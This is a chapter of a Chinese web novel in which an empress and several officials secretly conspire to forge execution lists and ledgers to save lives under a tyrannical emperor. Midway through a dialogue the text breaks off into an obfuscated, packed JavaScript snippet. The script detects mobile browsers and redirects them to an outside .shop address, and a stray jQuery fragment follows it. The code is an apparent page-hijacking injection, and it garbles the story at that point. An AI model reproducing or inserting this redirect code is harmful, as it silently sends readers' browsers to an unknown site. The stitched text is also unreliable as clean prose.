凤仪宫的烛火燃到三更,周子衿仍坐在书案前,手中捏着那份秋审的名单,指节泛白。
窗外月色惨淡,洒在殿前的金砖上,像铺了一层霜。
刑部递上来的秋审名单,周子衿让人悄悄抄了一份送来,密密麻麻的人名后面,附着一行行小字,记着各人的罪行和审结意见。
一行行看下来,周子衿的眉头越蹙越紧。
这些人的罪行,固然有该杀的,可也有情有可原的,更有罪不至死的。
三法司会审时,已经斟酌了又斟酌,将那些确属罪大恶极的判了斩立决,余下的判了斩监候或绞监候,便是要给皇上留个宽严相济的余地。
可李修明连看都没看,便批了个“全杀”。
有的人只是为了一口吃的,为了一条命,挣扎着活。
就像名单最后的那个人,陈阿福。
陈阿福,年十九,因家中断粮三日,偷了邻家半袋米,被当场拿获,扭送官府时挣扎,踢伤了衙役,拟杖二十,枷号一月。
这个叫陈阿福的年轻人,法司都没有被判死刑,也确实罪不至死,可他的名字,也被列在了秋审勾决的名单上,被李修明一句“全杀”终结一生。
周子衿想起白日里秦携说的那些话,工部请求加固河堤没批,户部请求开仓放粮没批,秋审的名单却批得比谁都快。
还真是杀人如麻。
周子衿起身走到窗边,夜风从窗棂的缝隙里钻进来,带着夏夜的闷热,吹不散她心底的凉意。
她得做点什么才行。
周子衿想了很久,坐回书案前,笔尖蘸满了墨,在纸上悬了许久,才落下。
【秦将军亲启。】
……
信送出去后的第三日,秦携便递了消息进来——人已聚齐,只等皇后娘娘。
天阴沉沉的,像是憋着一场雨。
太师府的门楼在铅灰色的天幕下显得愈发寥落,门上的朱漆还新着,可门可罗雀,连个看门的都懒洋洋地靠在门框上打瞌睡。
周子衿的马车从侧门驶入,没有惊动任何人。
太师府的后花园里,有一处偏僻的花厅,地方不大,却清幽雅致,四面环竹,夏日里最是凉快。
花厅里已经有人了。
秦携站在厅中,正与几个人低声说着什么,听见脚步声,他抬起头,目光越过人群,落在周子衿身上。
“皇后娘娘。”秦携率先行礼。
所有人齐齐转身,朝着门口的方向躬身行礼。
“臣等参见皇后娘娘。”
周子衿跨过门槛,目光缓缓扫过厅内众人。
刑部侍郎瞿宴、工部侍郎沈明远、户部郎中陈常宣……
来的人不少。
“都起来吧。”周子衿走到主位上坐下,“今日诸位冒险前来,本宫相信你们心中装的是大渝百姓,只是有些话要说在前面。”
周子衿从袖中取出一张纸放在桌上,那是她提前备好的名单,上面列着今天到场的每一个人的名字。
“诸位都是聪明人,应当知道今日来此,意味着什么。”周子衿的目光从每个人脸上缓缓扫过,“本宫要办的事,桩桩件件,都是背着皇上的,成了,受益的是大渝的百姓,败了,在座的各位包括本宫,都要掉脑袋。”
窗外竹影摇曳,沙沙作响,像是有人在窃窃私语。
周子衿将名单往前推了推:“请诸位在这份名单上签字画押,签了字,咱们就是一条船上的人,荣辱与共,生死同担,不签,本宫也不勉强,只是也不必再走出这道门。”
她已经跟秦携说好,若是有人临时反水,就将反水之人直接拿下,再举他全家威胁。
周子衿目光落在瞿宴脸上:“瞿大人,你先来?”
瞿宴的喉结滚动了一下,他在刑部十几年,见惯了生死,可真轮到自己把脑袋别在裤腰带上还是头一回。
他站起身,走到桌前,低头看着那张名单:“娘娘,臣只有一个问题。”
周子衿:“你问。”
瞿宴:“此事若成,那些名单上的人,当真能活?”
周子衿看着瞿宴,目光平静而笃定:“能。”
瞿宴没有再问,他提起笔,在名单上写下自己的名字,又按了手印。
沈明远第二个上前,他握笔的手顿了一下,回头看了一眼窗外那片阴沉沉的天,咬了咬牙,签下了自己的名字。
陈常宣第三个,他签完字长长地舒了一口气,像是把压在胸口的一块大石头搬开了。
其他人也依次上前,签了字,按了手印。
最后一个是秦携。
周子衿将那些签了字画了押的纸折好,收入袖中。
“好了。”周子衿抬起眼,“现在,咱们来说正事。”
“第一件事,秋审,八月初一就是秋决,离现只剩下半个月,这半个月的时间刑部做好一份假名单,皇上不会管谁被杀了,只管把假名单呈上去。”
瞿宴没想到周子衿的救人方式居然是背着皇帝造假。
这位皇后的胆子也太大了些。
不过想想也是,胆子不大怎么敢私自联系朝臣密谋?
“瞿大人,你可有问题?”周子衿问道。
瞿宴敛了心神:“臣会办妥。”
“第二件事,防汛,江淮、荆襄、河洛三处汛期已至,再不加固,一旦决堤,沿岸几省都要遭灾。”周子衿目光扫过沈明远摊在桌上的那几张河堤图,“本宫的意思是,以工部的名义行文,要求各地方自行加固,公文盖上工部的大印,由驿站送出去,各地方衙门不敢不办。”
沈明远迟疑了一下:“加固河堤要银子,而且不是小数目,工部的账上,能动用的银子有限。”
“账目由户部来做,做一份假的。”周子衿目光锁定陈常宣,“需要陈郎中帮忙做一做。”
陈常宣擦了擦额头的汗,他是户部的老人了,最懂怎么把账目做得漂亮,可真要动手脚,还是有些发虚。
“娘娘,户部的账目都是有定规的,若要改动,需……”
“陈郎中。”周子衿打断陈常宣,“汛期不等人,江淮、荆襄、河洛三处河段一旦决堤,沿岸几府都要遭灾。届时百姓流离失所,即便户部拿出银子也无法挽回了。?”
周子衿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617414|202670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没说的是,陈常宣代表户部踏入了这里,就不可能不做,否则其他人为了身家性命,也会弄死陈常宣。
“臣,听娘娘的。”陈常宣低下头。
周子衿便不再多言,继续安排下一项事务:“入夏以来,几处产粮区都遭了旱灾,收成大减,粮价飞涨,百姓买不起粮,便要饿肚子,户部请求开仓放粮的折子皇上不批,咱们就换个法子。”
众人屏气凝神,都想知道这位年纪轻轻的皇后会出什么主意。
“各地粮仓里有些是陈粮,存放多年,再不处理就要霉坏,干脆以‘抛售陈粮’的名义,把这些粮食卖给百姓,账目上,以‘陈粮出仓、充实新粮’的名义走,干干净净,看不出破绽。”周子衿说。
陈常宣下定决心要干,又听了周子衿的主意,眼睛一亮:“娘娘这个法子高明!陈粮出仓本就是户部的常规事务,不需要皇上特批,价格定低些,账面上做成‘损耗’便是。”
……
事情议毕,已近黄昏。
秦携安排众人悄悄离开,直到只剩下他自己。
“秦将军?”周子衿微微挑眉,“你怎么还不走?”
秦携深深望着周子衿,流露出在宫中时从不敢有的神情:“娘娘的脸色还是很差。”
周子衿怔然,对上秦携那双溢出了关切的眼睛,不自觉移开视线。
“本宫没事。”周子衿轻轻一笑,“这点累,还撑得住。”
秦携的喉结滚动了一下,那些在喉头滚了又滚的话——“您该歇歇了”、“别什么都自己扛”、“再这样下去身子会垮的”……最终都被他咽了回去。
他有什么资格说这些?
“臣会盯好今日与会的众人。”秦携低声说,“但凡有人起了异心,臣会第一时间处置,绝不让消息走漏,御前那边,臣也会多加留意。”
周子衿轻轻笑了一声,轻得像风吹过竹梢,让秦携的心跳漏了一拍。
“秦将军。”周子衿的声音里带着一丝难得的轻快,“你不要小看了我。”
秦携一愣。
周子衿嘴角弯起一点弧度:“御前那边,本宫早就跟高泽福打好了招呼。”
秦携的瞳孔微微收缩。
高泽福是跟在李修明身边时间最久的人,李修明吃什么、喝什么、见了什么人、批了什么折子,高泽福比任何人都清楚,他若肯帮忙,那便是在李修明身边埋了一双眼睛。
周子衿自信道:“本宫与他达成了默契,但凡有人递折子举报,他会先拦下来,递不到皇上跟前,人更是见不到皇上。”
说着,周子衿目光微沉:“除非有人在早朝上当众公开举报。”
今日到此的人全部签字画押了,谁敢赌李修明不会连着举报的人一块杀了?
没有人敢去赌李修明这个暴君的心思。
秦携站在原地,看着面前这个眉眼弯弯的女子,怔了许久。
自己总想着保护她,可她不是只能被保护的人,她是悬崖上的松,风越大,根扎得越深。
秦携发现自己根本移不开眼,眼前的人越发灿烂明亮。
亮在了他的心尖上。